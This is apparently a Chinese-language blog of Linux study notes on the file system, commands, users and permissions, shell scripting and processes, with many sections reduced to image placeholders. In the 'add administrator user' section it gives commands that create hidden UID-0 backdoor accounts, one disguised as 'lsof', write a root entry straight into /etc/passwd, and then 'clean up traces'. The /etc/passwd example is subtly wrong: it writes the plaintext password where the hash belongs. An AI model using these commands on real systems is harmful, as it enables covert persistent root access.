apsry

去留无意,宠辱不惊

0%

linux学习

linux学习笔记

linux学习

一:linux概述

1:组成部分

内核,shell,文件系统,应用程序

内核:

Linux 内核由以下 几部分 组成:内存管理器、进程管理器、设备驱动程序、虚拟文件系统(Virtual File System, VFS)和网络管理等

文件系统:

Linux 具有“一切皆文件”的特点。文件系统是文件存放在磁盘等存储设备上的 组织方法。Linux 系统支持目前流行的多种文件系统,如 EXT2、EXT3、EXT4、 FAT、FAT32、VFAT 和 ISO9660 等,但不支持 Windows 的主流文件系统 NTFS。

image-20211125212944902

Linux 操作系统主要具有以下特点:开放性、多任务和多用户、支持 多种硬件平台、可靠的安全系统、良好的用户界面、强大的网络功能、设备独立、支 持多种文件系统、良好的可移植性。

常见版本

Red Hat,centos,debian,ubuntu,gentoo,slackware,mandriva

二:linux基本操作

1:linux命令行技巧

image-20211125213832286

技巧

  1. tab补全

  2. 上下键选择历史命令

  3. 命令历史记录

image-20211125213629449

2:配置文件

linux启动流程

  1. 启动电源后,首先BIOS检测计算机硬件

  2. 检测完成后,执行bootloader读取包括.boot.grub.menu.lst在内的配置文件加载内核

  3. 内核加载完成后,1号进程是/sbin/init,1号进程读取/etc/inittab内容,确认系统运行级别,一般级别为3或5。其它需要维护时使用。

  4. 1号进程创建多个进程,最后执行/bin/login程序等待用户登录。登陆后读取/etc/profile 和/etc/bashrc文件。建立所有用户初始环境,然后读取用户目录下的/.bash_profile 和/.bashrc文件,建立登陆用户自定义的个人环境。

3:防火墙设置

linux常见的防火墙是netfilter,防火墙规则编辑工具是iptables。centos7开始默认不安装iptables,而是用了firewalld。

几个常用命令

查看防火墙状态:firewall-cmd-state

开启关闭防火墙:systemctl start/stop firewall.service

4:系统日志

​ Linux系统以及运行在其上的应用程序都会产生日志,这些日志记录了程序的运
行状态,包括各种错误信息、警告信息和其他的提示信息。当系统发生故障时,可以
通过系统日志快速定位故障发生的位置和原因。另外查看日志还可以发现一些潜在的
威胁,如试图破解登录口令的动作。通常Linux的日志文件存放在/var/log目录下
/var/log/messages 日志文件是整体系统信息的汇总。

​ 以/var/log/secure日志文件为例,介绍如何通过查看日志文件排查系统问题。/var/log/secure日志文件记录了所有登录验证信息,如果有人试图通过SSH远程登录系统,就会在日志中留下记录。使用grep "sshd" var/log/secure | grep "Failed"命令可以输出/var/log/secure文件中所有SSH登录失败的记录,关于grep和管道的知识会在后续的章节中详细介绍。

三:linux文件系统与磁盘管理

1:思维导图

1):

img

2):

1 (2)

2

命令参考

img

2:目录结构

1)/

根目录,超级用户主目录

2)/dev

device缩写,保存所有和设备相关的文件。

3)/boot

引导文件,放置开机需要用到的系统内核文件和引导转载文件

4)/ect

基本纯文本,一般以.conf .cnf结尾如passwd等待

5)/home

用户主目录,一个用户一个文件夹,保存用户数据。cd ~ 切换到用户目录

6)/usr

存放程序目录,空间较大。/usr/src存放linux内核源代码。/usr/include存放开发头文件

6)/var

存放系统产生的文件,内容容易变动,/var/tmp存放临时文件,还有许多进程模块把记录文件存放到这里。

7)/lib

/lib是library的缩写,启动需要的库文件都放在该目录下,相当于windows的dll文件。而非启动用的库文件会放在.usr.lib目录下,内核模块放在/lib/modules下。

8)/proc

这个目录在磁盘下不存在,是内存的一个虚拟文件夹,启动linux时创建。里面文件是当前系统的实时状态信息,包括运行进程,硬件状态,内存使用信息等。

9)/tmp

临时文件目录。由于.tmp会自动删除文件,有用的文件不要放在该目录。

10)/mnt

挂载目录,是安装软盘,光盘,U盘的挂载点。/media是自动挂载,但有些linux系统没有/media,所有系统有/mnt。

11)/bin

二进制文件,保存常用命令。

12)/sbin

也是二进制文件,只有root能用,存放系统命令。

3:文件类型

分为普通文件,目录文件,链接文件,设备文件和管道文件。

1)普通文件

以字节为单位的数据流类型文件。

2)目录文件

用于组织访问其他文件。

3)链接文件

类似于windows的快捷方式,又可细分为硬链接和符号(软)链接。

4)设备文件

image-20211126103230735

5)管道文件

image-20211126103255737

4:一些常见的linux命令

1)当前工作目录(pwd)

pwd

2)文件命令要求

image-20211126103622641

3)绝对路径,相对路径,切换目录(cd)

image-20211126103700995

cd 用于切换工作目录,要改变到指定目录,用户必须对指定目录有执行和读的权限。可使用通配符。

4)ls

列出当前目录的文件,类型于dir

image-20211126104044539

5)目录创建和删除命令(mkidr,rmdir)

mkdir

image-20211126104133219

rmdir

image-20211126104235838

6)文件创建,复制,移动和删除(tonch,cp,mv,rm)

tonch

image-20211126104436889

cp

image-20211126104453241

mv

image-20211126104538052

image-20211126104553656

rm

image-20211126104609508

7)其它常用命令(sort,cat,more,info,file)

sort

image-20211126104859151

cat

image-20211126104913000

more

image-20211126104929415

info

image-20211126104947745

file 文件类型

image-20211126105054812

8)文件内容查找命令(grep,find,locate.whereis)

gerp 查文件内容

image-20211126105305715

find 查目录名字

image-20211126105341538

locate 查找文件

image-20211126105416900

whereis 查找系统原始文件

image-20211126105500351

9)压缩命令(tar,zip,gzip,bzip2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
压缩

tar -cvf jpg.tar *.jpg //将目录里所有jpg文件打包成tar.jpg

tar -czf jpg.tar.gz *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用gzip压缩,生成一个gzip压缩过的包,命名为jpg.tar.gz

tar -cjf jpg.tar.bz2 *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用bzip2压缩,生成一个bzip2压缩过的包,命名为jpg.tar.bz2

tar -cZf jpg.tar.Z *.jpg //将目录里所有jpg文件打包成jpg.tar后,并且将其用compress压缩,生成一个umcompress压缩过的包,命名为jpg.tar.Z

rar a jpg.rar *.jpg //rar格式的压缩,需要先下载rar for linux

zip jpg.zip *.jpg //zip格式的压缩,需要先下载zip for linux

解压

tar -xvf file.tar //解压 tar包

tar -xzvf file.tar.gz //解压tar.gz

tar -xjvf file.tar.bz2 //解压 tar.bz2

tar -xZvf file.tar.Z //解压tar.Z

unrar e file.rar //解压rar

unzip file.zip //解压zip

解压总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1、*.tar 用 tar -xvf 解压

2、*.gz 用 gzip -d或者gunzip 解压

3、*.tar.gz和*.tgz 用 tar -xzf 解压

4、*.bz2 用 bzip2 -d或者用bunzip2 解压

5、*.tar.bz2用tar -xjf 解压

6、*.Z 用 uncompress 解压

7、*.tar.Z 用tar -xZf 解压

8、*.rar 用 unrar e解压

9、*.zip 用 unzip 解压

tar

image-20211126105648003

zip

image-20211126110204680

​ gzip

image-20211126110222444

​ bzip2

image-20211126110253569

5:链接

1)硬链接

image-20211126110505501

2)软链接

类似于快捷方式

image-20211126110531754

6:文件系统与磁盘

1)文件系统

image-20211126110825750

2)磁盘分区

分区格式化

image-20211126110928017

磁盘检验

image-20211126110954161

挂载磁盘和卸载

image-20211126111014292

3)交换空间

image-20211126111136283

image-20211126111204039

四:linux用户和权限机制

1:用户和用户组

root uid为0

系统用户1-499 centos 1-999

普通用户 500以上 centos 1000以上

image-20211126115510327

2:用户管理

1)添加用户

useradd [option] username

username 为新账号用户名

2)修改用户口令

passwd [options] [username]

只有root权限用户才能指定修改用户口令权限

3)修改用户信息

usermod [options] username

4)删除用户

userdel [option] username

3:用户组管理

1)添加用户组

group [option] group

2)修改用户组信息

image-20211126124059538

3)删除用户组

image-20211126123732140

4:用户配置文件

image-20211126123905635

1)/etc/passwd

image-20211126123855784

2)/etc/shadow

image-20211126123930400

3)/etc/group

image-20211126124120296

5:所有者,所在组与其它用户(chown,chagrp)

image-20211126125240146

三种权限

image-20211126125301018

ls -l 详解

image-20211126125323872

chmod的表示方法

image-20211126125815043

6:umask属性和特殊权限

image-20211126132213373

1)suid

image-20211126132246992

2)sgid

image-20211126132256843

3)sbit

image-20211126132306174

7:文件属性控制

image-20211126132543782

image-20211126132550238

8:添加管理员用户

一条命令

1
2
3
4
5
6
7
8
9
10
11
12
13
useradd -p `openssl passwd -1 -salt ‘lsof’ admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

命令解释

useradd 添加用户

-p `openssl passwd -1 -salt ‘lsof’ admin` 这个里面的指的是设置用户的密码,里面的lsof差不多是密钥之类的,可以随便写, admin是明文密码

-u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
-g root -G root 将用户添加到root组
-s /bin/bash 指定新建用户的shell路径
-d /usr/bin/lsof 新建用户的主目录,可以自己定义
lsof 新建的用户的用户名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
添加账号
一般在具有root权限时可以使用以下2种方式添加root权限用户

1.通过useradd,后面账号backdoor/123456

useradd -u 0 -o -g root -G root backdoor

echo 123456:password|chpasswd
2.通过直接对etc/passwd文件进行写入

perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的结果

# 123456加密后的结果为AASwmzPNx.3sg

echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd #直接写入etc/passwd中
清理以上痕迹

userdel -f backdoor

五:linux文本处理

1:vim

1)三种模式

image-20211126133738915

2)查找与替换

image-20211126133814787

2:剪切,粘贴,连接命令(cut,paste,join)

1)cut

image-20211126134024846

示例

image-20211126134043692

2)paste

image-20211126134147067

示例

image-20211126134324175

3)join

image-20211126134350018

3:比较命令(comm,diff)

1)有序逐行比较命令comm

image-20211126135249635

示例

image-20211126135324328

2)逐行比较命令diff

image-20211126135409562

image-20211126135420212

示例

image-20211126135434650

3)原文件比较

image-20211126135525587

4:格式化命令(printf,fmt,nl,fold)

1)printf(输出)

image-20211126135628005

2)fmt(格式化段落)

image-20211126135653994

3)nl(行标命令)

创建行号

image-20211126140114254

4)指定长度命令(fold)

image-20211126142139328

5:文本分析工具

awk文本分析工具

sed编辑器

六:linux多命令协作

一般使用|来进行

1:命令行数据流

image-20211126184726973

2:重定向输入 >

用 > 重定向输入到文件

image-20211126184830585

1
>会覆盖输入。>> 则是在后面添加输入内容

image-20211126185030511

3:重定向错误保存

使用 2> 来重定向错误保存

image-20211126185244517

为实现标准输出与标准错误同时被重定向到目标文件中,命令格式为:command>file 2>&1,表示先将标准输出重定向到文件file中,然后“2>&1”将标准错误重定向到标准输出

image-20211126185640691

4:统计字数命令(wc)

image-20211126185739080

image-20211126185848288

image-20211126185908611

5:管道分流命令(tee)

image-20211126190131971

类似于>

image-20211126190300097

6:查找重复行命令(uniq)

image-20211126190423337

七:shell编程

1:使用gcc编译C程序

1)单文件

image-20211126191125128

gcc - o hello hello.c

2)多文件

image-20211126191311725

2:make编译C程序

相当于编写了个集成命令

image-20211126192243682

通过源代码编译安装程序

image-20211126192355930

3:shell的编写

1)第一行解释器

image-20211126192506988

image-20211126194617054

2)shell变量

image-20211126194659669

3)环境变量

image-20211126194735783

4)变量创建

image-20211126194807385

5)获取变量的值

image-20211126195627245

6)修改变量

和创建变量语法相同

7)输入,输出(echo,printf,read,)

echo

输出到屏幕

image-20211126195906204

printf

image-20211126195933591

image-20211126195947697

read

image-20211126200014119

image-20211126200034512

8)引用(转义)

类似于转义

image-20211126200719013

image-20211126200821492

9)if语句

image-20211126200924170

if语句里面的判断

image-20211126201533615

支持正则匹配

image-20211126201601117

组合表达式

image-20211126201620925

10)case语句

image-20211126201650945

示例

image-20211126201708520

11)while和untill循环

image-20211126201823371

12)for循环

image-20211126201838760

13)循环跳出

image-20211126202200401

14)获取位置参数

相当于获得命令行参数

image-20211126202749844

image-20211126203232070

15)数组

单个赋值

image-20211126203429735

多个赋值

image-20211126203521526

image-20211126203546722

15)函数

image-20211126203559214

image-20211126203612182

return返回值

image-20211126204514160

八:进程与设备管理

1:进程概念

image-20211126215415246

image-20211126215512985

2:进程状态

image-20211126215556503

3:查看进程状态(PS,TOP)

image-20211126215653488

image-20211126215708903

4:进程控制

1)进程创建(fork)

image-20211126215811381

2)控制进程

image-20211126221716774

3)进程终止

image-20211126221732661

4)进程同步

image-20211126221802962

5:管道

1)无名管道

image-20211126221839728

2)命名管道

image-20211126221904082

5:信号

kill

image-20211126224533690

signal

image-20211126224547849

6:消息队列

image-20211126230738333

image-20211126230750123

image-20211126230857898

7:信号量

image-20211126232459163

image-20211126232509488

8:共享内存

image-20211126232547416

image-20211126232631007

image-20211126232803043

9:设备管理

image-20211126232904833

I/O控制四种方式

image-20211126233012424

image-20211126233032098